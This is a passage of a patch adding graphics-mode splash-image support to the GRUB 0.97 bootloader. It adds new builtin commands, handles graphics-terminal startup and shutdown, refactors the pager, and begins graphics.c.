-+	inb	%dx, %al	/* wait vertical retrace */
-+	test	$8, %al
-+	jnz	l2b
-+
-+	mov	%bx, %dx
-+	movb	0x18(%esp), %al		/* index */
-+	outb	%al, %dx
-+	inc	%dx
-+
-+	movb	0x1c(%esp), %al		/* red */
-+	outb	%al, %dx
-+
-+	movb	0x20(%esp), %al		/* green */
-+	outb	%al, %dx
-+
-+	movb	0x24(%esp), %al		/* blue */
-+	outb	%al, %dx
-+
-+	movw	0x18(%esp), %bx
-+
-+	call	EXT_C(prot_to_real)
-+	.code16
-+
-+	movb	%bl, %bh
-+	movw	$0x1000, %ax
-+	int	$0x10
-+
-+	DATA32	call	EXT_C(real_to_prot)
-+	.code32
-+
-+	pop	%edx
-+	pop	%ecx
-+	pop	%ebx
-+	pop	%eax
-+	pop	%ebp
-+	ret
-+#endif /* SUPPORT_GRAPHICS */
-+
-+
- /*
-  * getrtsecs()
-  *	if a seconds value can be read, read it and return it (BCD),
-diff -Naur grub-0.97.orig/stage2/builtins.c grub-0.97/stage2/builtins.c
---- grub-0.97.orig/stage2/builtins.c	2005-02-15 19:58:23.000000000 -0200
-+++ grub-0.97/stage2/builtins.c	2005-06-13 18:44:03.000000000 -0300
-@@ -28,6 +28,10 @@
- #include <filesys.h>
- #include <term.h>
- 
-+#ifdef SUPPORT_GRAPHICS
-+# include <graphics.h>
-+#endif
-+
- #ifdef SUPPORT_NETBOOT
- # define GRUB	1
- # include <etherboot.h>
-@@ -237,12 +241,22 @@
- static int
- boot_func (char *arg, int flags)
- {
-+  struct term_entry *prev_term = current_term;
-   /* Clear the int15 handler if we can boot the kernel successfully.
-      This assumes that the boot code never fails only if KERNEL_TYPE is
-      not KERNEL_TYPE_NONE. Is this assumption is bad?  */
-   if (kernel_type != KERNEL_TYPE_NONE)
-     unset_int15_handler ();
- 
-+  /* if our terminal needed initialization, we should shut it down
-+   * before booting the kernel, but we want to save what it was so
-+   * we can come back if needed */
-+  if (current_term->shutdown) 
-+    {
-+      current_term->shutdown();
-+      current_term = term_table; /* assumption: console is first */
-+    }
-+
- #ifdef SUPPORT_NETBOOT
-   /* Shut down the networking.  */
-   cleanup_net ();
-@@ -306,6 +320,13 @@
-       return 1;
-     }
- 
-+  /* if we get back here, we should go back to what our term was before */
-+  current_term = prev_term;
-+  if (current_term->startup)
-+      /* if our terminal fails to initialize, fall back to console since
-+       * it should always work */
-+      if (current_term->startup() == 0)
-+          current_term = term_table; /* we know that console is first */
-   return 0;
- }
- 
-@@ -852,6 +873,251 @@
- };
- #endif /* SUPPORT_NETBOOT */
- 
-+#ifdef SUPPORT_GRAPHICS
-+
-+static int splashimage_func(char *arg, int flags) {
-+  int i;
-+    
-+  /* filename can only be 256 characters due to our buffer size */
-+  if (grub_strlen(arg) > 256) {
-+    grub_printf("Splash image filename too large\n");
-+    grub_printf("Press any key to continue...");
-+    getkey();
-+    return 1;
-+  }
-+
-+  /* get rid of TERM_NEED_INIT from the graphics terminal. */
-+  for (i = 0; term_table[i].name; i++) {
-+    if (grub_strcmp (term_table[i].name, "graphics") == 0) {
-+      term_table[i].flags &= ~TERM_NEED_INIT;
-+      break;
-+    }
-+  }
-+
-+  graphics_set_splash(arg);
-+
-+  if (flags == BUILTIN_CMDLINE && graphics_inited) {
-+    graphics_end();
-+    if (graphics_init() == 0) {
-+      /* Fallback to default term */
-+      current_term = term_table;
-+      max_lines = current_term->max_lines;
-+      if (current_term->cls)
-+        current_term->cls();
-+      grub_printf("Failed to set splash image and/or graphics mode\n");
-+      return 1;
-+    }
-+    graphics_cls();
-+  }
-+
-+  if (flags == BUILTIN_MENU)
-+    current_term = term_table + i;
-+
-+  return 0;
-+}
-+
-+static struct builtin builtin_splashimage =
-+{
-+  "splashimage",
-+  splashimage_func,
-+  BUILTIN_CMDLINE | BUILTIN_MENU | BUILTIN_HELP_LIST,
-+  "splashimage FILE",
-+  "Load FILE as the background image when in graphics mode."
-+};
-+
-+
-+/* shade */
-+static int
-+shade_func(char *arg, int flags)
-+{
-+    int new_shade;
-+
-+    if (!arg || safe_parse_maxint(&arg, &new_shade) == 0)
-+       return (1);
-+
-+    if (shade != new_shade) {
-+       shade = new_shade;
-+       if (flags == BUILTIN_CMDLINE && graphics_inited) {
-+           graphics_end();
-+           graphics_init();
-+           graphics_cls();
-+       }
-+    }
-+
-+    return 0;
-+}
-+
-+static struct builtin builtin_shade =
-+{
-+  "shade",
-+  shade_func,
-+  BUILTIN_CMDLINE | BUILTIN_MENU | BUILTIN_HELP_LIST,
-+  "shade INTEGER",
-+  "If set to 0, disables the use of shaded text, else enables it."
-+};
-+
-+
-+/* foreground */
-+static int
-+foreground_func(char *arg, int flags)
-+{
-+    if (grub_strlen(arg) == 6) {
-+	int r = ((hex(arg[0]) << 4) | hex(arg[1])) >> 2;
-+	int g = ((hex(arg[2]) << 4) | hex(arg[3])) >> 2;
-+	int b = ((hex(arg[4]) << 4) | hex(arg[5])) >> 2;
-+
-+	foreground = (r << 16) | (g << 8) | b;
-+	if (graphics_inited)
-+	    graphics_set_palette(15, r, g, b);
-+
-+	return 0;
-+    }
-+
-+    return 1;
-+}
-+
-+static struct builtin builtin_foreground =
-+{
-+  "foreground",
-+  foreground_func,
-+  BUILTIN_CMDLINE | BUILTIN_MENU | BUILTIN_HELP_LIST,
-+  "foreground RRGGBB",
-+  "Sets the foreground color when in graphics mode."
-+  "RR is red, GG is green, and BB blue. Numbers must be in hexadecimal."
-+};
-+
-+
-+/* background */
-+static int
-+background_func(char *arg, int flags)
-+{
-+    if (grub_strlen(arg) == 6) {
-+	int r = ((hex(arg[0]) << 4) | hex(arg[1])) >> 2;
-+	int g = ((hex(arg[2]) << 4) | hex(arg[3])) >> 2;
-+	int b = ((hex(arg[4]) << 4) | hex(arg[5])) >> 2;
-+
-+	background = (r << 16) | (g << 8) | b;
-+	if (graphics_inited)
-+	    graphics_set_palette(0, r, g, b);
-+	return 0;
-+    }
-+
-+    return 1;
-+}
-+
-+static struct builtin builtin_background =
-+{
-+  "background",
-+  background_func,
-+  BUILTIN_CMDLINE | BUILTIN_MENU | BUILTIN_HELP_LIST,
-+  "background RRGGBB",
-+  "Sets the background color when in graphics mode."
-+  "RR is red, GG is green, and BB blue. Numbers must be in hexadecimal."
-+};
-+
-+
-+/* border */
-+static int
-+border_func(char *arg, int flags)
-+{
-+    if (grub_strlen(arg) == 6) {
-+       int r = ((hex(arg[0]) << 4) | hex(arg[1])) >> 2;
-+       int g = ((hex(arg[2]) << 4) | hex(arg[3])) >> 2;
-+       int b = ((hex(arg[4]) << 4) | hex(arg[5])) >> 2;
-+
-+       window_border = (r << 16) | (g << 8) | b;
-+       if (graphics_inited)
-+           graphics_set_palette(0x11, r, g, b);
-+
-+       return 0;
-+    }
-+
-+    return 1;
-+}
-+
-+static struct builtin builtin_border =
-+{
-+  "border",
-+  border_func,
-+  BUILTIN_CMDLINE | BUILTIN_MENU | BUILTIN_HELP_LIST,
-+  "border RRGGBB",
-+  "Sets the border video color when in graphics mode."
-+  "RR is red, GG is green, and BB blue. Numbers must be in hexadecimal."
-+};
-+
-+
-+/* viewport */
-+static int
-+viewport_func (char *arg, int flags)
-+{
-+    int i;
-+    int x0 = 0, y0 = 0, x1 = 80, y1 = 30;
-+    int *pos[4] = { &x0, &y0, &x1, &y1 };
-+
-+    if (!arg)
-+       return (1);
-+    for (i = 0; i < 4; i++) {
-+       if (!*arg)
-+           return (1);
-+    while (*arg && (*arg == ' ' || *arg == '\t'))
-+           ++arg;
-+       if (!safe_parse_maxint(&arg, pos[i]))
-+           return (1);
-+       while (*arg && (*arg != ' ' && *arg != '\t'))
-+           ++arg;
-+    }
-+
-+    /* minimum size is 65 colums and 16 rows */
-+    if (x0 > x1 - 66 || y0 > y1 - 16 || x0 < 0 || y0 < 0 || x1 > 80 || y1 > 30)
-+       return 1;
-+
-+    view_x0 = x0;
-+    view_y0 = y0;
-+    view_x1 = x1;
-+    view_y1 = y1;
-+
-+    if (flags == BUILTIN_CMDLINE && graphics_inited) {
-+       graphics_end();
-+       graphics_init();
-+       graphics_cls();
-+    }
-+
-+    return 0;
-+}
-+
-+static struct builtin builtin_viewport =
-+{
-+  "viewport",
-+  viewport_func,
-+  BUILTIN_CMDLINE | BUILTIN_MENU | BUILTIN_HELP_LIST,
-+  "viewport x0 y0 x1 y1",
-+  "Changes grub internals to output text in the window defined by"
-+  " four parameters. The x and y parameters are 0 based. This option"
-+  " only works with the graphics interface."
-+};
-+
-+#endif /* SUPPORT_GRAPHICS */
-+
-+
-+/* clear */
-+static int 
-+clear_func() 
-+{
-+  if (current_term->cls)
-+    current_term->cls();
-+
-+  return 0;
-+}
-+
-+static struct builtin builtin_clear =
-+{
-+  "clear",
-+  clear_func,
-+  BUILTIN_CMDLINE | BUILTIN_HELP_LIST,
-+  "clear",
-+  "Clear the screen"
-+};
-+
- 
- /* displayapm */
- static int
-@@ -1454,14 +1720,20 @@
- 
- 
- /* help */
--#define MAX_SHORT_DOC_LEN	39
--#define MAX_LONG_DOC_LEN	66
--
- static int
- help_func (char *arg, int flags)
- {
--  int all = 0;
--  
-+  int all = 0, max_short_doc_len, max_long_doc_len;
-+  max_short_doc_len = 39;
-+  max_long_doc_len = 66;
-+#ifdef SUPPORT_GRAPHICS
-+  if (grub_memcmp (current_term->name, "graphics", sizeof ("graphics") - 1) == 0)
-+    {
-+      max_short_doc_len = (view_x1 - view_x0 + 1) / 2 - 1;
-+      max_long_doc_len = (view_x1 - view_x0) - 14;
-+    }
-+#endif
-+
-   if (grub_memcmp (arg, "--all", sizeof ("--all") - 1) == 0)
-     {
-       all = 1;
-@@ -1491,13 +1763,13 @@
- 
- 	  len = grub_strlen ((*builtin)->short_doc);
- 	  /* If the length of SHORT_DOC is too long, truncate it.  */
--	  if (len > MAX_SHORT_DOC_LEN - 1)
--	    len = MAX_SHORT_DOC_LEN - 1;
-+	  if (len > max_short_doc_len - 1)
-+	    len = max_short_doc_len - 1;
- 
- 	  for (i = 0; i < len; i++)
- 	    grub_putchar ((*builtin)->short_doc[i]);
- 
--	  for (; i < MAX_SHORT_DOC_LEN; i++)
-+	  for (; i < max_short_doc_len; i++)
- 	    grub_putchar (' ');
- 
- 	  if (! left)
-@@ -1546,10 +1818,10 @@
- 		      int i;
- 
- 		      /* If LEN is too long, fold DOC.  */
--		      if (len > MAX_LONG_DOC_LEN)
-+		      if (len > max_long_doc_len)
- 			{
- 			  /* Fold this line at the position of a space.  */
--			  for (len = MAX_LONG_DOC_LEN; len > 0; len--)
-+			  for (len = max_long_doc_len; len > 0; len--)
- 			    if (doc[len - 1] == ' ')
- 			      break;
- 			}
-@@ -4085,7 +4357,7 @@
- };
- 
- 
--#if defined(SUPPORT_SERIAL) || defined(SUPPORT_HERCULES)
-+#if defined(SUPPORT_SERIAL) || defined(SUPPORT_HERCULES) || defined(SUPPORT_GRAPHICS)
- /* terminal */
- static int
- terminal_func (char *arg, int flags)
-@@ -4244,17 +4516,29 @@
-  end:
-   current_term = term_table + default_term;
-   current_term->flags = term_flags;
--  
-+
-   if (lines)
-     max_lines = lines;
-   else
--    /* 24 would be a good default value.  */
--    max_lines = 24;
--  
-+    max_lines = current_term->max_lines;
-+
-   /* If the interface is currently the command-line,
-      restart it to repaint the screen.  */
--  if (current_term != prev_term && (flags & BUILTIN_CMDLINE))
-+  if ((current_term != prev_term) && (flags & BUILTIN_CMDLINE)){
-+    if (prev_term->shutdown)
-+      prev_term->shutdown();
-+    if (current_term->startup) {
-+      /* If startup fails, return to previous term */
-+      if (current_term->startup() == 0) {
-+        current_term = prev_term;
-+        max_lines = current_term->max_lines;
-+        if (current_term->cls) {
-+          current_term->cls();
-+        }
-+      }
-+    }
-     grub_longjmp (restart_cmdline_env, 0);
-+  }
-   
-   return 0;
- }
-@@ -4264,7 +4548,7 @@
-   "terminal",
-   terminal_func,
-   BUILTIN_MENU | BUILTIN_CMDLINE | BUILTIN_HELP_LIST,
--  "terminal [--dumb] [--no-echo] [--no-edit] [--timeout=SECS] [--lines=LINES] [--silent] [console] [serial] [hercules]",
-+  "terminal [--dumb] [--no-echo] [--no-edit] [--timeout=SECS] [--lines=LINES] [--silent] [console] [serial] [hercules] [graphics]",
-   "Select a terminal. When multiple terminals are specified, wait until"
-   " you push any key to continue. If both console and serial are specified,"
-   " the terminal to which you input a key first will be selected. If no"
-@@ -4276,7 +4560,7 @@
-   " seconds. The option --lines specifies the maximum number of lines."
-   " The option --silent is used to suppress messages."
- };
--#endif /* SUPPORT_SERIAL || SUPPORT_HERCULES */
-+#endif /* SUPPORT_SERIAL || SUPPORT_HERCULES || SUPPORT_GRAPHICS */
- 
- 
- #ifdef SUPPORT_SERIAL
-@@ -4795,13 +5079,20 @@
- /* The table of builtin commands. Sorted in dictionary order.  */
- struct builtin *builtin_table[] =
- {
-+#ifdef SUPPORT_GRAPHICS
-+  &builtin_background,
-+#endif
-   &builtin_blocklist,
-   &builtin_boot,
- #ifdef SUPPORT_NETBOOT
-   &builtin_bootp,
- #endif /* SUPPORT_NETBOOT */
-+#ifdef SUPPORT_GRAPHICS
-+  &builtin_border,
-+#endif
-   &builtin_cat,
-   &builtin_chainloader,
-+  &builtin_clear,
-   &builtin_cmp,
-   &builtin_color,
-   &builtin_configfile,
-@@ -4821,6 +5112,9 @@
-   &builtin_embed,
-   &builtin_fallback,
-   &builtin_find,
-+#ifdef SUPPORT_GRAPHICS
-+  &builtin_foreground,
-+#endif
-   &builtin_fstest,
-   &builtin_geometry,
-   &builtin_halt,
-@@ -4864,9 +5158,13 @@
- #endif /* SUPPORT_SERIAL */
-   &builtin_setkey,
-   &builtin_setup,
--#if defined(SUPPORT_SERIAL) || defined(SUPPORT_HERCULES)
-+#ifdef SUPPORT_GRAPHICS
-+  &builtin_shade,
-+  &builtin_splashimage,
-+#endif /* SUPPORT_GRAPHICS */
-+#if defined(SUPPORT_SERIAL) || defined(SUPPORT_HERCULES) || defined(SUPPORT_GRAPHICS)
-   &builtin_terminal,
--#endif /* SUPPORT_SERIAL || SUPPORT_HERCULES */
-+#endif /* SUPPORT_SERIAL || SUPPORT_HERCULES || SUPPORT_GRAPHICS */
- #ifdef SUPPORT_SERIAL
-   &builtin_terminfo,
- #endif /* SUPPORT_SERIAL */
-@@ -4880,5 +5178,8 @@
-   &builtin_unhide,
-   &builtin_uppermem,
-   &builtin_vbeprobe,
-+#ifdef SUPPORT_GRAPHICS
-+  &builtin_viewport,
-+#endif
-   0
- };
-diff -Naur grub-0.97.orig/stage2/char_io.c grub-0.97/stage2/char_io.c
---- grub-0.97.orig/stage2/char_io.c	2005-02-01 18:51:23.000000000 -0200
-+++ grub-0.97/stage2/char_io.c	2005-06-12 20:56:49.000000000 -0300
-@@ -29,12 +29,17 @@
- # include <serial.h>
- #endif
- 
-+#ifdef SUPPORT_GRAPHICS
-+# include <graphics.h>
-+#endif
-+
- #ifndef STAGE1_5
- struct term_entry term_table[] =
-   {
-     {
-       "console",
-       0,
-+      24,
-       console_putchar,
-       console_checkkey,
-       console_getkey,
-@@ -43,13 +48,16 @@
-       console_cls,
-       console_setcolorstate,
-       console_setcolor,
--      console_setcursor
-+      console_setcursor,
-+      0, 
-+      0
-     },
- #ifdef SUPPORT_SERIAL
-     {
-       "serial",
-       /* A serial device must be initialized.  */
-       TERM_NEED_INIT,
-+      24,
-       serial_putchar,
-       serial_checkkey,
-       serial_getkey,
-@@ -58,6 +66,8 @@
-       serial_cls,
-       serial_setcolorstate,
-       0,
-+      0,
-+      0, 
-       0
-     },
- #endif /* SUPPORT_SERIAL */
-@@ -65,6 +75,7 @@
-     {
-       "hercules",
-       0,
-+      24,
-       hercules_putchar,
-       console_checkkey,
-       console_getkey,
-@@ -73,11 +84,30 @@
-       hercules_cls,
-       hercules_setcolorstate,
-       hercules_setcolor,
--      hercules_setcursor
-+      hercules_setcursor,
-+      0,
-+      0
-     },      
- #endif /* SUPPORT_HERCULES */
-+#ifdef SUPPORT_GRAPHICS
-+    { "graphics",
-+      TERM_NEED_INIT, /* flags */
-+      30, /* number of lines */
-+      graphics_putchar, /* putchar */
-+      console_checkkey, /* checkkey */
-+      console_getkey, /* getkey */
-+      graphics_getxy, /* getxy */
-+      graphics_gotoxy, /* gotoxy */
-+      graphics_cls, /* cls */
-+      graphics_setcolorstate, /* setcolorstate */
-+      graphics_setcolor, /* setcolor */
-+      graphics_setcursor, /* nocursor */
-+      graphics_init, /* initialize */
-+      graphics_end /* shutdown */
-+    },
-+#endif /* SUPPORT_GRAPHICS */
-     /* This must be the last entry.  */
--    { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }
-+    { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }
-   };
- 
- /* This must be console.  */
-@@ -305,9 +335,10 @@
- 
-   /* XXX: These should be defined in shared.h, but I leave these here,
-      until this code is freezed.  */
--#define CMDLINE_WIDTH	78
- #define CMDLINE_MARGIN	10
--  
-+
-+  /* command-line limits */
-+  int cmdline_width = 78, col_start = 0;
-   int xpos, lpos, c, section;
-   /* The length of PROMPT.  */
-   int plen;
-@@ -338,7 +369,7 @@
-       
-       /* If the cursor is in the first section, display the first section
- 	 instead of the second.  */
--      if (section == 1 && plen + lpos < CMDLINE_WIDTH)
-+      if (section == 1 && plen + lpos < cmdline_width)
- 	cl_refresh (1, 0);
-       else if (xpos - count < 1)
- 	cl_refresh (1, 0);
-@@ -354,7 +385,7 @@
- 		grub_putchar ('\b');
- 	    }
- 	  else
--	    gotoxy (xpos, getxy () & 0xFF);
-+	    gotoxy (xpos + col_start, getxy () & 0xFF);
- 	}
-     }
- 
-@@ -364,7 +395,7 @@
-       lpos += count;
- 
-       /* If the cursor goes outside, scroll the screen to the right.  */
--      if (xpos + count >= CMDLINE_WIDTH)
-+      if (xpos + count >= cmdline_width)
- 	cl_refresh (1, 0);
-       else
- 	{
-@@ -383,7 +414,7 @@
- 		}
- 	    }
- 	  else
--	    gotoxy (xpos, getxy () & 0xFF);
-+	    gotoxy (xpos + col_start, getxy () & 0xFF);
- 	}
-     }
- 
-@@ -398,14 +429,14 @@
-       if (full)
- 	{
- 	  /* Recompute the section number.  */
--	  if (lpos + plen < CMDLINE_WIDTH)
-+	  if (lpos + plen < cmdline_width)
- 	    section = 0;
- 	  else
--	    section = ((lpos + plen - CMDLINE_WIDTH)
--		       / (CMDLINE_WIDTH - 1 - CMDLINE_MARGIN) + 1);
-+	    section = ((lpos + plen - cmdline_width)
-+		       / (cmdline_width - 1 - CMDLINE_MARGIN) + 1);
- 
- 	  /* From the start to the end.  */
--	  len = CMDLINE_WIDTH;
-+	  len = cmdline_width;
- 	  pos = 0;
- 	  grub_putchar ('\r');
- 
-@@ -445,8 +476,8 @@
- 	  if (! full)
- 	    offset = xpos - 1;
- 	  
--	  start = ((section - 1) * (CMDLINE_WIDTH - 1 - CMDLINE_MARGIN)
--		   + CMDLINE_WIDTH - plen - CMDLINE_MARGIN);
-+	  start = ((section - 1) * (cmdline_width - 1 - CMDLINE_MARGIN)
-+		   + cmdline_width - plen - CMDLINE_MARGIN);
- 	  xpos = lpos + 1 - start;
- 	  start += offset;
- 	}
-@@ -471,7 +502,7 @@
-       
-       /* If the cursor is at the last position, put `>' or a space,
- 	 depending on if there are more characters in BUF.  */
--      if (pos == CMDLINE_WIDTH)
-+      if (pos == cmdline_width)
- 	{
- 	  if (start + len < llen)
- 	    grub_putchar ('>');
-@@ -488,7 +519,7 @@
- 	    grub_putchar ('\b');
- 	}
-       else
--	gotoxy (xpos, getxy () & 0xFF);
-+	gotoxy (xpos + col_start, getxy () & 0xFF);
-     }
- 
-   /* Initialize the command-line.  */
-@@ -518,10 +549,10 @@
- 	  
- 	  llen += l;
- 	  lpos += l;
--	  if (xpos + l >= CMDLINE_WIDTH)
-+	  if (xpos + l >= cmdline_width)
- 	    cl_refresh (1, 0);
--	  else if (xpos + l + llen - lpos > CMDLINE_WIDTH)
--	    cl_refresh (0, CMDLINE_WIDTH - xpos);
-+	  else if (xpos + l + llen - lpos > cmdline_width)
-+	    cl_refresh (0, cmdline_width - xpos);
- 	  else
- 	    cl_refresh (0, l + llen - lpos);
- 	}
-@@ -533,12 +564,22 @@
-       grub_memmove (buf + lpos, buf + lpos + count, llen - count + 1);
-       llen -= count;
-       
--      if (xpos + llen + count - lpos > CMDLINE_WIDTH)
--	cl_refresh (0, CMDLINE_WIDTH - xpos);
-+      if (xpos + llen + count - lpos > cmdline_width)
-+	cl_refresh (0, cmdline_width - xpos);
-       else
- 	cl_refresh (0, llen + count - lpos);
-     }
- 
-+  max_lines = current_term->max_lines;
-+#ifdef SUPPORT_GRAPHICS
-+  if (grub_memcmp (current_term->name, "graphics", sizeof ("graphics") - 1) == 0)
-+    {
-+      cmdline_width = (view_x1 - view_x0) - 2;
-+      col_start = view_x0;
-+      max_lines = view_y1 - view_y0;
-+    }
-+#endif
-+
-   plen = grub_strlen (prompt);
-   llen = grub_strlen (cmdline);
- 
-@@ -1006,6 +1047,48 @@
- }
- #endif /* ! STAGE1_5 */
- 
-+#ifndef STAGE1_5
-+/* Internal pager.  */
-+int
-+do_more (void)
-+{
-+  if (count_lines >= 0)
-+    {
-+      count_lines++;
-+      if (count_lines >= max_lines - 2)
-+        {
-+          int tmp;
-+
-+          /* It's important to disable the feature temporarily, because
-+             the following grub_printf call will print newlines.  */
-+          count_lines = -1;
-+
-+          grub_printf("\n");
-+          if (current_term->setcolorstate)
-+            current_term->setcolorstate (COLOR_STATE_HIGHLIGHT);
-+
-+          grub_printf ("[Hit return to continue]");
-+
-+          if (current_term->setcolorstate)
-+            current_term->setcolorstate (COLOR_STATE_NORMAL);
-+
-+
-+          do
-+            {
-+              tmp = ASCII_CHAR (getkey ());
-+            }
-+          while (tmp != '\n' && tmp != '\r');
-+          grub_printf ("\r                        \r");
-+
-+          /* Restart to count lines.  */
-+          count_lines = 0;
-+          return 1;
-+        }
-+    }
-+  return 0;
-+}
-+#endif
-+
- /* Display an ASCII character.  */
- void
- grub_putchar (int c)
-@@ -1034,38 +1117,11 @@
- 
-   if (c == '\n')
-     {
-+      int flag;
-       /* Internal `more'-like feature.  */
--      if (count_lines >= 0)
--	{
--	  count_lines++;
--	  if (count_lines >= max_lines - 2)
--	    {
--	      int tmp;
--	      
--	      /* It's important to disable the feature temporarily, because
--		 the following grub_printf call will print newlines.  */
--	      count_lines = -1;
--
--	      if (current_term->setcolorstate)
--		current_term->setcolorstate (COLOR_STATE_HIGHLIGHT);
--	      
--	      grub_printf ("\n[Hit return to continue]");
--
--	      if (current_term->setcolorstate)
--		current_term->setcolorstate (COLOR_STATE_NORMAL);
--	      
--	      do
--		{
--		  tmp = ASCII_CHAR (getkey ());
--		}
--	      while (tmp != '\n' && tmp != '\r');
--	      grub_printf ("\r                        \r");
--	      
--	      /* Restart to count lines.  */
--	      count_lines = 0;
--	      return;
--	    }
--	}
-+      flag = do_more ();
-+      if (flag)
-+        return;
-     }
- 
-   current_term->putchar (c);
-@@ -1090,7 +1146,7 @@
- cls (void)
- {
-   /* If the terminal is dumb, there is no way to clean the terminal.  */
--  if (current_term->flags & TERM_DUMB)
-+  if (current_term->flags & TERM_DUMB) 
-     grub_putchar ('\n');
-   else
-     current_term->cls ();
-@@ -1217,6 +1273,16 @@
-   return ! errnum;
- }
- 
-+void
-+grub_memcpy(void *dest, const void *src, int len)
-+{
-+  int i;
-+  register char *d = (char*)dest, *s = (char*)src;
-+
-+  for (i = 0; i < len; i++)
-+    d[i] = s[i];
-+}
-+
- void *
- grub_memmove (void *to, const void *from, int len)
- {
-diff -Naur grub-0.97.orig/stage2/cmdline.c grub-0.97/stage2/cmdline.c
---- grub-0.97.orig/stage2/cmdline.c	2004-08-16 20:23:01.000000000 -0300
-+++ grub-0.97/stage2/cmdline.c	2005-06-12 20:56:49.000000000 -0300
-@@ -50,10 +50,11 @@
- void
- print_cmdline_message (int forever)
- {
--  printf (" [ Minimal BASH-like line editing is supported.  For the first word, TAB\n"
--	  "   lists possible command completions.  Anywhere else TAB lists the possible\n"
--	  "   completions of a device/filename.%s ]\n",
--	  (forever ? "" : "  ESC at any time exits."));
-+  grub_printf("       [ Minimal BASH-like line editing is supported.   For\n"
-+              "         the   first   word,  TAB  lists  possible  command\n"
-+              "         completions.  Anywhere else TAB lists the possible\n"
-+              "         completions of a device/filename.%s ]\n",
-+              (forever ? "" : "  ESC at any time\n         exits."));
- }
- 
- /* Find the builtin whose command name is COMMAND and return the
-diff -Naur grub-0.97.orig/stage2/graphics.c grub-0.97/stage2/graphics.c
---- grub-0.97.orig/stage2/graphics.c	1969-12-31 21:00:00.000000000 -0300
-+++ grub-0.97/stage2/graphics.c	2005-06-13 19:13:31.000000000 -0300
-@@ -0,0 +1,584 @@
-+/*
-+ * graphics.c - graphics mode support for GRUB
-+ * Implemented as a terminal type by Jeremy Katz <katzj@redhat.com> based
-+ * on a patch by Paulo César Pereira de Andrade <pcpa@conectiva.com.br>
-+ * Options and enhancements made by Herton Ronaldo Krzesinski
-+ * <herton@mandriva.com>
-+ *
-+ *  GRUB  --  GRand Unified Bootloader
-+ *  Copyright (C) 2001,2002  Red Hat, Inc.
-+ *  Portions copyright (C) 2000  Conectiva, Inc.
-+ *
-+ *  This program is free software; you can redistribute it and/or modify
-+ *  it under the terms of the GNU General Public License as published by
-+ *  the Free Software Foundation; either version 2 of the License, or
-+ *  (at your option) any later version.
-+ *
-+ *  This program is distributed in the hope that it will be useful,
-+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ *  GNU General Public License for more details.
-+ *
-+ *  You should have received a copy of the GNU General Public License
-+ *  along with this program; If not, see <http://www.gnu.org/licenses/>
-+ */
-+
-+#ifdef SUPPORT_GRAPHICS
-+
-+#include <term.h>
-+#include <shared.h>
-+#include <graphics.h>
-+
-+int saved_videomode;
-+unsigned char *font8x16;
-+
-+int graphics_inited = 0;
-+static char splashimage[256];
-+
-+int shade = 1, no_cursor = 0;
-+
-+#define VSHADOW VSHADOW1
-+unsigned char VSHADOW1[38400];
-+unsigned char VSHADOW2[38400];
-+unsigned char VSHADOW4[38400];
-+unsigned char VSHADOW8[38400];
-+
-+/* define the default viewable area */
-+int view_x0 = 0;
-+int view_y0 = 0;
-+int view_x1 = 80;
-+int view_y1 = 30;
-+
-+/* text buffer has to be kept around so that we can write things as we
-+ * scroll and the like */
-+unsigned short text[80 * 30];
-+
-+/* graphics options */
-+int foreground = (63 << 16) | (63 << 8) | (63), background = 0, window_border = 0;
-+
-+/* current position */
-+static int fontx = 0;
-+static int fonty = 0;
-+
-+/* global state so that we don't try to recursively scroll or cursor */
-+static int no_scroll = 0;
-+
-+/* color state */
-+static int graphics_standard_color = A_NORMAL;
-+static int graphics_normal_color = A_NORMAL;
-+static int graphics_highlight_color = A_REVERSE;
-+static int graphics_current_color = A_NORMAL;
-+static color_state graphics_color_state = COLOR_STATE_STANDARD;
-+
-+static inline void outb(unsigned short port, unsigned char val)
-+{
-+    __asm __volatile ("outb %0,%1"::"a" (val), "d" (port));
-+}
-+
-+static void MapMask(int value) {
-+    outb(0x3c4, 2);
-+    outb(0x3c5, value);
-+}
-+
-+/* bit mask register */
-+static void BitMask(int value) {
-+    outb(0x3ce, 8);
-+    outb(0x3cf, value);
-+}
-+
-+/* move the graphics cursor location to col, row */
-+static void graphics_setxy(int col, int row) {
-+    if (col >= view_x0 && col < view_x1) {
-+        fontx = col;
-+        cursorX = col << 3;
-+    }
-+    if (row >= view_y0 && row < view_y1) {
-+        fonty = row;
-+        cursorY = row << 4;
-+    }
-+}
-+
-+/* scroll the screen */
-+static void graphics_scroll() {
-+    int i, j, k;
-+
-+    /* we don't want to scroll recursively... that would be bad */
-+    if (no_scroll)
-+        return;
-+    no_scroll = 1;
-+
-+    /* disable pager temporarily */
-+    k = count_lines;
-+    count_lines = -1;
-+    
-+    /* move everything up a line */
-+    for (j = view_y0 + 1; j < view_y1; j++) {
-+        graphics_gotoxy(view_x0, j - 1);
-+        for (i = view_x0; i < view_x1; i++) {
-+            graphics_putchar(text[j * 80 + i]);
-+        }
-+    }
-+
-+    /* last line should be blank */
-+    graphics_gotoxy(view_x0, view_y1 - 1);
-+    for (i = view_x0; i < view_x1; i++)
-+        graphics_putchar(' ');
-+    graphics_setxy(view_x0, view_y1 - 1);
-+
-+    count_lines = k;
-+
-+    no_scroll = 0;
-+}
-+
-+/* Set the splash image */
-+void graphics_set_splash(char *splashfile) {
-+    grub_strcpy(splashimage, splashfile);
-+}
-+
-+/* Get the current splash image */
-+char *graphics_get_splash(void) {
-+    return splashimage;
-+}
-+
-+/* 
-+ * Initialize a vga16 graphics display with the palette based off of
-+ * the image in splashimage.  If the image doesn't exist, leave graphics
-+ * mode. The mode initiated is 12h. From "Ralf Brown's Interrupt List":
-+ *      text/ text pixel   pixel   colors disply scrn  system
-+ *      grph resol  box  resolution       pages  addr
-+ * 12h   G   80x30  8x16  640x480  16/256K  .    A000  VGA,ATI VIP
-+ *       G   80x30  8x16  640x480  16/64    .    A000  ATI EGA Wonder
-+ *       G     .     .    640x480  16       .      .   UltraVision+256K EGA
-+ */
-+int graphics_init()
-+{
-+    if (!graphics_inited) {
-+        saved_videomode = set_videomode(0x12);
-+        if (get_videomode() != 0x12) {
-+            set_videomode(saved_videomode);
-+            return 0;
-+        }
-+        graphics_inited = 1;
-+    }
-+    else
-+        return 1;
-+
-+    font8x16 = (unsigned char*)graphics_get_font();
-+
-+    /* make sure that the highlight color is set correctly */
-+    graphics_highlight_color = ((graphics_normal_color >> 4) | 
-+                                ((graphics_normal_color & 0xf) << 4));
-+
